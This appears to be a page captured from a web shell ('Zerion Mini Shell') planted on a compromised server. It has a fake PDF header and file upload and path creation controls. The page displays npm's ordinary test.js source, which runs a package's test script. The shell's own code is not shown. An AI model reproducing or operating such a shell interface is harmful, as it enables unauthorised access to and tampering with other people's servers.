%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/alt-nodejs11/root/lib/node_modules/npm/lib/
Upload File :
Create Path :
Current File : //opt/alt/alt-nodejs11/root/lib/node_modules/npm/lib/test.js

/* eslint-disable standard/no-callback-literal */
module.exports = test

const testCmd = require('./utils/lifecycle-cmd.js')('test')

test.usage = testCmd.usage

function test (args, cb) {
  testCmd(args, function (er) {
    if (!er) return cb()
    if (er.code === 'ELIFECYCLE') {
      return cb('Test failed.  See above for more details.')
    }
    return cb(er)
  })
}

Zerion Mini Shell 1.0